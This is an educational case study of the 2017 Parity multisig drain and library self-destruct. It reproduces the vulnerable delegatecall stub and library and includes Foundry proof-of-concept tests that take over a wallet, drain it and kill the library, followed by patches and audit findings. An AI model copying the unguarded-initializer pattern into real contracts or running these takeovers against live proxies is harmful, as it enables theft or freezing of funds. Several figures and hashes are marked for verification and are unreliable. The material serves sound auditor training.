Case Study — Parity Multisig 2017 (Two Incidents, One Root Cause)
“I accidentally killed it.” — devops199, GitHub issue openethereum/parity-ethereum#6995, 6 November 2017
Read twice. The most expensive sentence in smart-contract history is in the passive voice. The contract was killed. Not by an attacker, not by sophistication — by a bystander pressing the only red button that should never have been reachable. Everything an auditor needs to know about delegatecall, proxy initialization, and library hygiene is downstream of those four words.
Tags: web3-security case-study delegatecall proxy access-control vulnerability anti-pattern Related: Tuan-05-Vulnerability-Classes-Part-1 · Tuan-04-Security-Foundations-CEI-AC · Case-The-DAO-Reentrancy-2016 · Case-Wormhole-2022 · storage-layout-cheatsheet · audit-checklist-master
At A Glance
Two separate incidents on the same codebase, six months apart, both caused by the same architectural decision: a stateful “library” reachable by delegatecall from a stub wallet, with initialization functions left publicly callable.
| Incident | Date | Mechanism | Direct loss | Status |
|---|---|---|---|---|
| #1 — Wallet drain | 19 Jul 2017 | Unprotected initWallet on the wallet stub. Attacker re-initialized, became sole owner, drained. | Black-hat funds never returned; rescued funds returned to legitimate owners. | |
| #2 — Library brick | 6 Nov 2017 | Same unprotected initWallet exposed on the library itself (the deployed implementation). devops199 initialized it, became owner, called kill → SELFDESTRUCT. Every wallet that delegatecalled this library became a brick. | Frozen, never recovered. EIP-156 and EIP-999 recovery proposals rejected by community. [verify: current status as of 2025/2026; Parity-backed sETH/EFRP recovery proposals ongoing but unresolved] |
The first incident is a textbook uninitialized-proxy / public-initializer bug. The second is the same bug applied to the implementation contract — a bug class that, eight years later, still appears in Code4rena reports under the heading “implementation contract is initializable.”
Background — Parity Wallet Architecture
The shape of the system
By mid-2017 Parity Technologies (founded by Gavin Wood, ex-Ethereum cofounder, then-author of the Yellow Paper) shipped a desktop Ethereum client whose flagship feature was a multi-signature wallet. The wallet was deployed via the Parity UI; users could specify owners, required signatures, and a daily withdrawal limit.
To save gas on deployment (full wallet bytecode is large; people deployed hundreds of these), Parity adopted a two-contract pattern that prefigured every modern proxy/implementation design:
┌────────────────────────┐ ┌────────────────────────┐
user tx ───▶ │ Wallet (stub) │ ──────▶ │ WalletLibrary │
│ ──────────────────── │ DELE │ ──────────────────── │
│ storage: │ GATE │ code only: │
│ m_owners[] │ CALL │ initWallet() │
│ m_required │ │ initMultiowned() │
│ m_dailyLimit │ │ initDaylimit() │
│ … │ │ execute() │
│ fallback() { _lib │ │ confirm() │
│ .delegatecall( │ │ changeOwner() │
│ msg.data); } │ │ kill() │
└────────────────────────┘ └────────────────────────┘
The Wallet stub held the state (owners, balance, limits) in its own storage but had almost no logic of its own. Any function call that didn’t match the stub’s tiny handful of known selectors fell through to a catch-all fallback:
// Wallet stub — fallback (simplified, faithful to the historical version)
function() payable {
if (msg.value > 0) {
Deposit(msg.sender, msg.value);
} else if (msg.data.length > 0) {
_walletLibrary.delegatecall(msg.data);
}
}Read the fallback carefully. It is functionally:
“If you sent me ETH, log it. Otherwise, run whatever bytecode you specified in
msg.dataagainst my storage.”
In modern terms this is a transparent proxy with no admin checks — every function in the library is implicitly exposed on every wallet, and every call executes against the wallet’s storage via DELEGATECALL. The pattern is identical to OpenZeppelin’s Proxy contract — except OZ proxies have eight years of bug history baked into them. Parity’s version did not.
The two contracts (canonical addresses)
| Contract | Address | Notes |
|---|---|---|
| WalletLibrary v1 (pre-patch) | 0x..d654a26b... [verify exact] | Used for wallets deployed before 20 Jul 2017. The July hack’s target. |
| WalletLibrary v2 (post-July-patch) | 0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4 | Deployed 20 Jul 2017 as the fix. Used by all wallets after that date. This is the contract devops199 killed. |
| Library deployer | 0x00cAA646...D9fd2A1Bb | [verify] |
| Library creation tx | 0x348ec4b5a396c95b4a5524ab0ff61b5f6e434098cf6e5c1a6887bed2bc35625d |
The Etherscan label on 0x863DF6...A907b4 reads “Parity Bug: Trigger.” That label, and the dead account, are now the most-visited tombstone in EVM archaeology.
Incident 1 — July 2017: Drain via initWallet
The bug
The library exposed three setup functions:
// WalletLibrary (pre-patch). All three functions are public; no `internal`,
// no `onlyUninitialized`, no `require(msg.sender == ...)`.
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i) {
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
function initDaylimit(uint _limit) {
m_dailyLimit = _limit;
m_lastDay = today();
}The intended flow was: the Parity UI deploys a Wallet stub, then immediately calls initWallet(...) on it (which routes through the fallback into the library via delegatecall, writing to the stub’s storage). After that single call, the wallet is “initialized” and the owner array is set.
The bug is two words long: no guard. Nothing in initWallet, initMultiowned, or initDaylimit checked whether initialization had already happened. The author appears to have treated the functions as constructor-like (called once, by trusted code, at deploy time) and not as what they actually were under the delegatecall fallback: permanently callable public mutators of owner state.
Exploit transaction sequence (July 2017)
The attack on Edgeless Casino’s wallet illustrates the pattern cleanly:
- Takeover tx: attacker sends a transaction to the victim wallet stub with
msg.dataencodinginitWallet([attacker], 1, 0). The stub’s fallback fires,delegatecalls into the library, the library’sinitWalletruns against the stub’s storage, and overwritesm_owners = [attacker]andm_required = 1.- Tx hash:
0x9dbf0326a03a2a3719c27be4fa69aacc9857fd231a8d9dcaede4bb083def75ec(OpenZeppelin post-mortem)
- Tx hash:
- Drain tx: with
m_required = 1andm_owners[1] = attacker, the attacker callsexecute(attacker, balance, ""). The library’sexecutechecksisOwner(msg.sender)(true) and the required-confirmation count (met), and sends the entire balance.- Tx hash:
0xeef10fc5170f669b86c4cd0444882a96087221325f8bf2f55d6188633aa7be7c
- Tx hash:
- Repeat on the next victim. Two transactions per wallet. Total drained from three projects: ~153,037 ETH.
Black-hat recipient address: 0xb3764761e297d6f121e79c32a65829cd1ddb4d32 [verify].
The white-hat counter-attack
Within hours of detection, a community-organized “White Hat Group” (WHG) scanned the chain for every Parity multisig matching the vulnerable bytecode pattern, then used the same exploit to drain those wallets into addresses they controlled, racing the black-hat scanner. They later returned the funds to verified owners. Final tally: roughly 84M in tokens rescued (~377,000 ETH across ~500 wallets) [verify exact totals].
This was the first large-scale “white-hat front-run” in Ethereum’s history. It set the template for the SushiSwap migration recovery (2020), the Euler recovery (2023), and many others. It is also a sharp reminder that the same exploit code is dual-use: the only difference between the attacker and the defender was who pressed Enter first.
The fix that wasn’t a fix
On 20 July 2017, Parity deployed a patched library to 0x863DF6...A907b4. The patch added the only_uninitialized modifier and changed visibility:
modifier only_uninitialized {
require(m_numOwners == 0);
_;
}
function initWallet(address[] _owners, uint _required, uint _daylimit)
only_uninitialized
{
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
function initMultiowned(address[] _owners, uint _required) internal { … }
function initDaylimit(uint _limit) internal { … }initMultiowned and initDaylimit became internal (no longer callable from outside). initWallet gained the only_uninitialized guard. For wallets, this closed the bug — once a wallet was initialized (m_numOwners > 0), initWallet reverted.
But the team did not consider one corner case: the library contract itself. The library was deployed and left sitting on-chain, uninitialized. Nothing prevented anyone from calling initWallet on the library directly, with no proxy in front of it. The library was, in modern parlance, an uninitialized implementation contract.
The patch fixed user-facing wallets. It did not fix the library. That oversight is the bridge from incident #1 to incident #2.
Incident 2 — November 2017: devops199 and the Library Brick
The setup
On 6 November 2017, a GitHub user named devops199 opened issue #6995 on the Parity-Ethereum repository:
“I accidentally killed it.”
The link in the issue points at the library: 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4. The label still reads, at the time of writing, security concern, smart contracts, P0-dropeverything.
What devops199 did is in retrospect mechanical. The library was an ordinary deployed contract. Its initWallet(...) function was protected by only_uninitialized — but for the library itself, no one had ever initialized it. m_numOwners == 0. The guard passed. Anyone could initialize it.
Two transactions:
- Tx 1 — Take ownership of the library:
0x05f71e1b2cb4f03e547739db15d080fd30c989eda04d37ce6264c5686e0722c9[verify hash] — devops199 callsinitWallet([devops199], 1, ...)on the library directly (not on a wallet stub). The library’s own storage now records devops199 as sole owner. (Recall: the stubs use the library only for code; the library’s own storage was unused — until now.)
- Tx 2 — Kill it:
0x47f7cff7a5e671884629c93b368cb18f58a993f4b19c2a53a8662e3f1482f690(block 4501969) — devops199 callskill(...)on the library.killrunssuicide(_to)(the pre-Byzantium spelling ofSELFDESTRUCT). The library’s bytecode is wiped from state. Account0x863DF6...A907b4becomes a contract with no code.
Why every wallet died
Every Parity multisig wallet deployed after 20 July 2017 had a hard-coded reference to the library address 0x863DF6...A907b4 in its constructor. The wallet’s fallback was, literally:
_walletLibrary.delegatecall(msg.data);After devops199’s kill, that delegatecall targets an account with no code. EVM semantics for CALL/DELEGATECALL to an empty account: success = true, return data empty. No revert. The wallet’s fallback delegatecall(...) returns truthy, the call appears to “succeed”, and the user gets a transaction that confirmed without doing anything — every owner-management call, every execute, every withdraw. Wallet bricked. Funds inside the wallet are still there. They just cannot move.
This is a key auditor observation: calls to empty accounts succeed silently. It’s the same property that makes “missing return-value check on external call” a real bug, and the same property that makes a destroyed implementation contract a hostage-taker for every proxy that points at it.
The reachable balance frozen: 513,774.16 ETH plus a long tail of ERC-20 tokens, across 587 wallets (numbers from Parity’s official post-mortem; cross-checked against elementus-io/parity-wallet-freeze).
The most painful timeline
Public timeline of when the fix could have happened:
| Date | Event |
|---|---|
| 19 Jul 2017 | Incident #1 — wallets drained. Library exposed for the first time as a security-critical surface. |
| 20 Jul 2017 | Parity patches library, deploys 0x863DF6...A907b4. Library left uninitialized on-chain. |
| Aug 2017 | GitHub contributor “3esmit” recommends auto-initialization on deployment. Parity team logs this as a convenience enhancement, not a security fix. Not deployed. |
| 6 Nov 2017 | devops199 calls initWallet then kill on the library. 587 wallets bricked. |
| Nov 2017 – present | Parity post-mortems published. EIP-156, EIP-999 recovery proposals drafted. Community votes (April 2018, EIP-999) rejects the recovery by ~55% to ~39%. Funds remain frozen. |
The pre-mortem was filed in August. The post-mortem was filed in November. There were 78 days between them.
Reproduction in Foundry
The goal of the reproduction is to make the auditor’s body remember the shape of the bug. Two PoCs follow:
- PoC A — re-creates Incident #1: an uninitialized proxy/stub with a public initializer, taken over.
- PoC B — re-creates Incident #2 as far as is possible post-Cancun: an uninitialized implementation contract initialized by an attacker. The
SELFDESTRUCTbrick mechanic itself is materially different post-EIP-6780 (see callout below), so we demonstrate the takeover and discuss what would have happened pre-Cancun, then show one Cancun-era equivalent.
EIP-6780 — what changed about SELFDESTRUCT after the Cancun upgrade
EIP-6780, shipped in the Cancun/Dencun upgrade (March 2024), neutered SELFDESTRUCT:
- If
SELFDESTRUCTis executed in the same transaction the contract was created, the historical behavior persists: code, storage, and nonce are wiped and the balance is sent to the target. - If
SELFDESTRUCTis executed in any later transaction, only the ETH balance is forwarded. The bytecode and storage remain intact.
In other words, the November 2017 attack is no longer reproducible on Ethereum mainnet today: even if you took ownership of an uninitialized implementation and called SELFDESTRUCT, the code would still be there. The proxies wouldn’t brick.
This is genuinely good news for live legacy code, but a faithful reproduction lab must acknowledge it. The lesson is not “SELFDESTRUCT is a museum piece” — the lesson is “unprotected initializers on implementation contracts let attackers seize a privileged role on the implementation, and whatever privileged role does (delegate to attacker code, drain library-held assets, freeze upgrade paths, etc.) is now in attacker hands.” The destruct payload was incidental; the takeover was structural.
PoC A — Uninitialized proxy / stub takeover (Incident #1)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// src/parity/PartyLibraryV1.sol
contract WalletLibraryV1 {
// Storage layout MIRRORS the stub's layout exactly. Under delegatecall
// these slots are the stub's slots, not the library's.
address[] internal m_owners; // slot 0 (length), keccak(0) + i for data
uint256 internal m_required; // slot 1
uint256 internal m_dailyLimit; // slot 2
// No initialization guard. This is the bug.
function initWallet(address[] memory _owners, uint256 _required, uint256 _daylimit) public {
m_owners = _owners;
m_required = _required;
m_dailyLimit = _daylimit;
}
function isOwner(address a) public view returns (bool) {
for (uint256 i = 0; i < m_owners.length; i++) {
if (m_owners[i] == a) return true;
}
return false;
}
function execute(address payable to, uint256 amount) public {
require(isOwner(msg.sender), "not owner");
require(m_required <= 1, "need confirmations"); // simplified
(bool ok,) = to.call{value: amount}("");
require(ok, "send fail");
}
}
// src/parity/PartyWalletStubV1.sol
contract WalletStubV1 {
// SAME layout — these slots are this contract's storage.
address[] internal m_owners;
uint256 internal m_required;
uint256 internal m_dailyLimit;
address public immutable lib;
constructor(address _lib, address[] memory _owners, uint256 _required, uint256 _daylimit) payable {
lib = _lib;
// Initialize ourselves *via the library*, mirroring the original Parity UI flow.
(bool ok,) = _lib.delegatecall(
abi.encodeWithSignature("initWallet(address[],uint256,uint256)", _owners, _required, _daylimit)
);
require(ok, "init failed");
}
receive() external payable {}
fallback() external payable {
// The catastrophic fallback.
(bool ok,) = lib.delegatecall(msg.data);
require(ok, "delegatecall failed");
}
}// test/parity/ParityTakeoverTest.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../../src/parity/PartyLibraryV1.sol";
import "../../src/parity/PartyWalletStubV1.sol";
contract ParityTakeoverTest is Test {
WalletLibraryV1 lib;
WalletStubV1 wallet;
address ownerA = address(0xA11CE);
address ownerB = address(0xB0B);
address attacker = address(0xBADBEEF);
function setUp() public {
lib = new WalletLibraryV1();
address[] memory owners = new address[](2);
owners[0] = ownerA;
owners[1] = ownerB;
vm.deal(address(this), 100 ether);
wallet = new WalletStubV1{value: 100 ether}(address(lib), owners, 2, 1 ether);
}
function test_takeover() public {
// Sanity: attacker is not an owner before.
bytes memory isOwnerCall = abi.encodeWithSignature("isOwner(address)", attacker);
(, bytes memory ret1) = address(wallet).staticcall(isOwnerCall);
assertEq(abi.decode(ret1, (bool)), false);
// ATTACK: re-initialize via the stub's fallback.
address[] memory newOwners = new address[](1);
newOwners[0] = attacker;
vm.prank(attacker);
(bool ok,) = address(wallet).call(
abi.encodeWithSignature("initWallet(address[],uint256,uint256)", newOwners, 1, type(uint256).max)
);
assertTrue(ok);
// Attacker is now the sole owner.
(, bytes memory ret2) = address(wallet).staticcall(isOwnerCall);
assertEq(abi.decode(ret2, (bool)), true);
// Drain.
vm.prank(attacker);
(bool ok2,) = address(wallet).call(
abi.encodeWithSignature("execute(address,uint256)", attacker, 100 ether)
);
assertTrue(ok2);
assertEq(address(wallet).balance, 0, "wallet should be drained");
assertEq(attacker.balance, 100 ether, "attacker should hold the loot");
}
}Run:
forge test --match-test test_takeover -vvvExpected: attacker becomes sole owner via fallback-delegatecall, then drains 100 ETH.
Patch and re-run. Add bool initialized; and require(!initialized); initialized = true; to initWallet. Re-run. Test fails at the second initWallet call — original owners remain. Now the stub is safe as a wallet, but the library is still an uninitialized contract on-chain. Continue to PoC B.
PoC B — Uninitialized implementation takeover (Incident #2, post-Cancun-aware)
Patch the library to look like the post-July-2017 fix:
// src/parity/WalletLibraryV2.sol
contract WalletLibraryV2 {
address[] internal m_owners;
uint256 internal m_required;
uint256 internal m_dailyLimit;
modifier onlyUninitialized() {
require(m_owners.length == 0, "already initialized");
_;
}
// Now guarded. A *wallet stub* delegatecalling this fires the guard against
// the stub's storage; the FIRST call sets m_owners.length > 0 and all
// subsequent calls revert. So wallets are safe.
function initWallet(address[] memory _owners, uint256 _required, uint256 _daylimit)
public
onlyUninitialized
{
m_owners = _owners;
m_required = _required;
m_dailyLimit = _daylimit;
}
// But: nothing prevents anyone from calling initWallet on THIS contract
// (the library) directly, against its own storage, which has m_owners.length == 0.
function kill(address payable to) public {
require(_isOwner(msg.sender), "not owner");
selfdestruct(to); // pre-Cancun: erases code → bricks every wallet delegating here.
}
function _isOwner(address a) internal view returns (bool) {
for (uint256 i = 0; i < m_owners.length; i++) {
if (m_owners[i] == a) return true;
}
return false;
}
}// test/parity/LibraryTakeoverTest.t.sol
import "forge-std/Test.sol";
import "../../src/parity/WalletLibraryV2.sol";
contract LibraryTakeoverTest is Test {
WalletLibraryV2 lib;
address attacker = address(0xBADBEEF);
function setUp() public { lib = new WalletLibraryV2(); }
function test_libraryTakeover() public {
// The library was deployed and never initialized. m_owners.length == 0.
// Anyone — including devops199, including us — can become its owner.
address[] memory newOwners = new address[](1);
newOwners[0] = attacker;
vm.prank(attacker);
lib.initWallet(newOwners, 1, type(uint256).max);
// We now "own" the library. On pre-Cancun chains the next call wipes
// the bytecode and bricks every proxy that delegatecalls this address.
// Post-Cancun (EIP-6780), only the balance is forwarded; bytecode stays.
vm.prank(attacker);
lib.kill(payable(attacker));
// Post-Cancun assertion: code is *not* gone, but ownership is hijacked.
// (On a pre-Cancun fork this would be `assertEq(address(lib).code.length, 0)`.)
// [verify chain version]
assertGt(address(lib).code.length, 0, "post-Cancun: code remains");
}
}Run:
forge test --match-test test_libraryTakeover -vvvExpected behavior depends on EVM version flag in foundry.toml:
evm_version = "shanghai"(or earlier):killwipes the code; assertionaddress(lib).code.length == 0would pass.evm_version = "cancun"or later: code remains intact; only balance moves. The takeover still succeeds.
Pre-Cancun extension lab (for completeness): set evm_version = "shanghai" in foundry.toml, swap the final assertion to assertEq(address(lib).code.length, 0). Then deploy a third contract (a mini “proxy”) whose fallback delegatecalls the library, send it 1 ETH, and observe that after the library is killed, every call to the proxy succeeds silently but moves nothing. That silent success is the precise behavior that made 587 real wallets useless.
Patch (the only correct one)
// In the implementation contract — OpenZeppelin Initializable v5 idiom.
constructor() {
_disableInitializers();
}_disableInitializers() writes a sentinel into the initializer-version slot such that no further initializers can run on the implementation itself. The implementation is “born initialized.” The bug is structurally eliminated.
Add the constructor, re-run test_libraryTakeover — the initWallet call should revert (InvalidInitialization if using OZ v5+; for the hand-rolled library above, you’d add m_owners.push(address(this)); in the constructor to make m_owners.length > 0 so the onlyUninitialized modifier blocks).
Aftermath
Recovery attempts
- EIP-156 (Vitalik Buterin, Dec 2016, predating Parity) — recover certain ether after self-destruct. Limited to accounts with no code that had ETH sent to them. After the Parity freeze it was clarified that EIP-156 did not apply: the bricked wallets did still have code (the wallet stubs themselves); they were merely pointing at a destructed dependency. Never adopted.
- EIP-999 (Afri Schoedon / Parity, Apr 2018) — restore the self-destructed library code at the protocol level. The most direct fix possible: a one-line patch to the state trie at a specific block, undoing the SELFDESTRUCT side effects. Held a coin-vote 17–22 April 2018; result was approximately 55% against / 39% for / 5–6% neutral. Community rejected it. The arguments against centered on immutability as a feature, not a bug: any precedent for “we will rewrite the chain when a sufficiently sympathetic party loses funds” undermines the credibility of every other smart contract.
- Parity’s own position evolved — initially supportive of a recovery hard fork (with its own engineers authoring EIP-999), then publicly declining to push for one after the vote. Parity acknowledged that forcing a recovery fork over community objection would be wrong.
- Ethereum Fund Recovery Protocol (EFRP) and sETH proposals (2024–) — the latest iteration. Idea: don’t try to recover the literal frozen ETH (still impossible without a fork). Instead, burn the locked ETH (also impossible without a fork…) or issue a fungible compensation token (sETH) representing claims, with some mechanism for community-funded redemption. Status as of writing: community discussion, no acceptance. [verify late-2025/2026 status]
Current state of the funds
The funds remain in their wallets. They cannot be moved. The Etherscan page for 0x863DF6...A907b4 continues to load. The total ETH frozen is now worth several times its 2017 value at current ETH prices ([verify exact USD figure at present]).
Influence on proxy patterns
This pair of incidents is the single biggest reason the modern proxy ecosystem looks the way it does:
- EIP-1967 (Sep 2018) — standardized high-entropy storage slots for proxy metadata (implementation, admin, beacon) so implementation slot layouts can’t collide with proxy bookkeeping. Direct response to the class of bug Parity exhibited.
- EIP-1822 (UUPS) and EIP-2535 (Diamond) — alternative proxy designs that consolidate or partition the upgrade authority. Both explicitly cite Parity as motivating prior art.
- EIP-1167 (minimal proxy / “clone”) — a cheap, code-only proxy that delegates to a fixed implementation. Critically, EIP-1167 proxies cannot be “uninitialized in the implementation sense” because they have no storage of their own beyond the immutable implementation address; but the implementation they point at still needs
_disableInitializers(). - OpenZeppelin
Initializable— theinitializermodifier and_disableInitializers()pattern are direct, named descendants of the Parity bug. The OZ docs on this still cite Parity as the historical reason. - Audit firm checklists — every reputable firm’s checklist as of 2018 onward includes “Is the implementation contract
_disableInitializers()’d in its constructor?” as a standalone line item. ToB’s Slither has a detector for it (unprotected-upgrade). The Parity incident invented this checklist item.
Lessons
Architectural
-
An implementation/library contract is a contract too. It has bytecode at an address, it can receive calls, it has its own storage that is normally unused but is fully accessible. If any function on it can be called without going through your proxy, that function is part of the implementation’s public attack surface — not the proxy’s.
-
delegatecalldissolves the boundary between “your” state and “their” code. A catch-all fallback thatdelegatecallsmsg.datato a library is functionally identical to “execute arbitrary code in our address.” If the library has any function that can rewrite ownership or move funds, an attacker who can shapemsg.datacontrols your contract. -
Initialization is the most security-sensitive transaction a proxy will ever process. It writes ownership, admin, and parameter slots from a default state. Treat it with constructor-grade paranoia. Use
Initializable’sinitializermodifier and_disableInitializers()on the implementation. -
Library contracts that hold state are not libraries. They are upgrade-targets, façades, modules — call them what you want, but recognize that the moment they have mutable storage and a public initializer, they are full-blown contracts with all the attack surface of one. Truly stateless libraries (Solidity
librarykeyword, internal-only functions, no storage) do not have this problem.
Operational
-
Auto-initialize at deploy time, always, in the same transaction. The Parity UI deployed library + then initialized in two transactions. devops199 stepped into the gap. There is no excuse for ever leaving a contract uninitialized on-chain for more than one transaction. Most modern deployment scripts bake initialization into the constructor or the same
CREATE2factory call. If the framework you use doesn’t, write a wrapper that does. -
A known issue is a deployed issue. The auto-initialization improvement was filed in August 2017 and not deployed. There is a recurring failure mode in the smart-contract industry where “known but not yet exploited” bugs sit on backlogs because no one is screaming yet. The auditor’s job is to be the person who screams, in writing, before the exploiter does it for free.
-
Calls to empty accounts succeed silently. This is not just a Parity lesson — it is the lesson that explains why every CALL/DELEGATECALL/STATICCALL needs to verify the existence of code at the target when the call’s behavior (not just the success bool) matters.
address(target).code.length > 0belongs in every delegatecall path.
Process
- Two incidents on the same codebase six months apart is a culture finding, not a code finding. When the same root cause produces two of the largest losses in the history of a programming environment, the issue is not “the team missed a modifier.” The issue is that the team’s threat model did not include “the implementation contract is a public, callable account.” The auditor’s recommendation is not “add this modifier”; it is “adopt a proxy-pattern checklist and run it on every deployment.”
What You Would Have Caught (Auditor’s Reflex)
Given the pre-incident code, here’s the chain of attention an experienced auditor exercises:
-
First read of the Wallet stub: “fallback delegatecalls user-controlled msg.data.” Audit finding draft: Critical. The wallet’s fallback performs
delegatecallwith arbitrarymsg.datato the library. This means every public function of the library is implicitly exposed on the wallet. Any function in the library that mutates owner state, sends ETH, or further delegatecalls is callable by anyone who can construct the matching selector. -
Open the library. Search for state mutation. Find
initWallet. Critical.initWalletmutates owner state and has no access-control modifier. Via the stub’s fallback delegatecall, it is callable by anyone. Re-initialization seizes ownership. Recommendation: addonlyUninitializedmodifier; makeinitMultiowned/initDaylimitinternal. -
(Post-July-patch read of the library.) Check that the patch covers the library itself. High. The
onlyUninitializedmodifier protects wallets, but the library contract — deployed to a known address and used by every wallet — is itself uninitialized. Anyone can callinitWalleton the library directly to assume ownership of the library’s own storage, then callkillto selfdestruct it. Every wallet delegatecalling the library becomes non-functional. Recommendation: initialize the library in the same transaction it is deployed (constructor or factory), and/or add a_disableInitializers()-style guard so the library cannot be re-entered into the initialization flow. -
Look for
selfdestruct/suicidein shared dependencies. High.kill()callssuicide(to)(nowselfdestruct). Any contract whose ownership can be reached by external accounts SHOULD NOT contain a selfdestruct path. Recommendation: removekillfrom the library; or, if a wallet kill switch is desired, scope it to the wallet stub (where its blast radius is one wallet) instead of the library (where its blast radius is every wallet). -
Sanity check the deployment script. Medium. The deploy procedure does not atomically initialize the library. There is a window — bounded only by the next block — in which any actor can initialize the library and act on it. The window is unbounded in practice because no one is required to initialize the library at any time. Recommendation: do not deploy a state-bearing implementation contract that is not initialized in its constructor.
Five findings. Severity in modern audit conventions: two Critical, two High, one Medium. Each one alone catches at least one of the two incidents. Together they catch both. None of them require advanced symbolic execution, fuzzing, or formal methods — they require having the proxy/delegatecall pattern internalized as a hazard signature and reading the code top-down.
This is the kind of audit a strong manual reviewer produces in their first hour with the codebase. It is also exactly the kind of audit that, in 2017, smart-contract security as a profession did not yet exist to perform. Parity was effectively reviewing its own work. The case for an external auditor is the case for someone who has the proxy hazard signature already installed in their head.
References
Primary post-mortems & source
- Parity Technologies — A Postmortem on the Parity Multi-Sig Library Self-Destruct: https://www.parity.io/blog/a-postmortem-on-the-parity-multi-sig-library-self-destruct/ (mirror on Medium: https://medium.com/paritytech/a-postmortem-on-the-parity-multi-sig-library-self-destruct-63daca3a4cf7)
- GitHub issue — “anyone can kill your contract” — devops199 / openethereum/parity-ethereum #6995: https://github.com/openethereum/parity-ethereum/issues/6995
- Library on Etherscan: https://etherscan.io/address/0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4
- Library creation tx: https://etherscan.io/tx/0x348ec4b5a396c95b4a5524ab0ff61b5f6e434098cf6e5c1a6887bed2bc35625d
- Library kill tx (block 4501969): https://etherscan.io/tx/0x47f7cff7a5e671884629c93b368cb18f58a993f4b19c2a53a8662e3f1482f690
Incident 1 (July 2017) traces and analysis
- OpenZeppelin — On the Parity Wallet Multisig Hack: https://www.openzeppelin.com/news/on-the-parity-wallet-multisig-hack-405a8c12e8f7
- Parity Hack Trace — 153,037 stolen ETH: https://medium.com/parity-hack-trace/parity-hack-and-153-037-stolen-eth-2a7704f59f3b
- White Hats Step In to Save Funds from Vulnerable Ether Wallets (Bitcoin Magazine): https://bitcoinmagazine.com/business/white-hats-step-save-funds-vulnerable-ether-wallets
- Bokky Poobah — Parity Multisig Recovery Reconciliation (ledger of WHG-rescued funds): https://github.com/bokkypoobah/ParityMultisigRecoveryReconciliation
- Attacker takeover tx: https://etherscan.io/tx/0x9dbf0326a03a2a3719c27be4fa69aacc9857fd231a8d9dcaede4bb083def75ec
- Attacker drain tx: https://etherscan.io/tx/0xeef10fc5170f669b86c4cd0444882a96087221325f8bf2f55d6188633aa7be7c
Incident 2 (November 2017) traces and analysis
- Solidified / Christopher Durr — Parity Hack: How It Happened, And Its Aftermath: https://medium.com/solidified/parity-hack-how-it-happened-and-its-aftermath-9bffb2105c0
- Bernhard Mueller (ConsenSys Diligence) — What Caused the Latest 100M Ethereum Bug, and a Detection Tool for Similar Bugs: https://medium.com/hackernoon/what-caused-the-latest-100-million-ethereum-bug-and-a-detection-tool-for-similar-bugs-7b80f8ab7279
- libertylocked — Parity Multisig Wallets: How Did They Break?: https://medium.com/@libertylocked/parity-multisig-wallets-how-did-they-break-4ec9f79b33ad
- elementus.io — Affected Parity Wallets dataset: https://github.com/elementus-io/parity-wallet-freeze
- Raúl Kripalani — 500-word Postmortem: https://medium.com/@raulk/the-latest-ethereum-hack-a-500-word-postmortem-and-summary-7db6c166cb71
Recovery proposals
- EIP-156 — Reclaim ether from short address attacks: https://github.com/ethereum/EIPs/issues/156
- EIP-999 — Restore Contract Code at
0x863DF6BFa4: https://github.com/ethereum/EIPs/pull/999 - EIP-999 vote retrospective (Bitcoin Magazine): https://bitcoinmagazine.com/business/evolving-debate-over-eip-999-can-or-should-trapped-ether-be-freed
Standards influenced by the incident
- EIP-1967 — Proxy Storage Slots: https://eips.ethereum.org/EIPS/eip-1967
- EIP-1822 — Universal Upgradeable Proxy Standard (UUPS): https://eips.ethereum.org/EIPS/eip-1822
- EIP-2535 — Diamonds, Multi-Facet Proxy: https://eips.ethereum.org/EIPS/eip-2535
- EIP-1167 — Minimal Proxy Contract: https://eips.ethereum.org/EIPS/eip-1167
- EIP-6780 — SELFDESTRUCT only in same transaction (Cancun): https://eips.ethereum.org/EIPS/eip-6780
- OpenZeppelin
Initializabledocs: https://docs.openzeppelin.com/contracts/5.x/api/proxy#Initializable
Academic / survey
- Saad et al. — A Survey on Ethereum Systems Security: Vulnerabilities, Attacks and Defenses (arXiv): https://arxiv.org/abs/1908.04507 (Parity covered as a canonical case in §6)
Last updated: 2026-05-16 See also: Tuan-05-Vulnerability-Classes-Part-1 · Tuan-04-Security-Foundations-CEI-AC · Case-The-DAO-Reentrancy-2016 · Case-Wormhole-2022 · storage-layout-cheatsheet · audit-checklist-master · Roadmap · References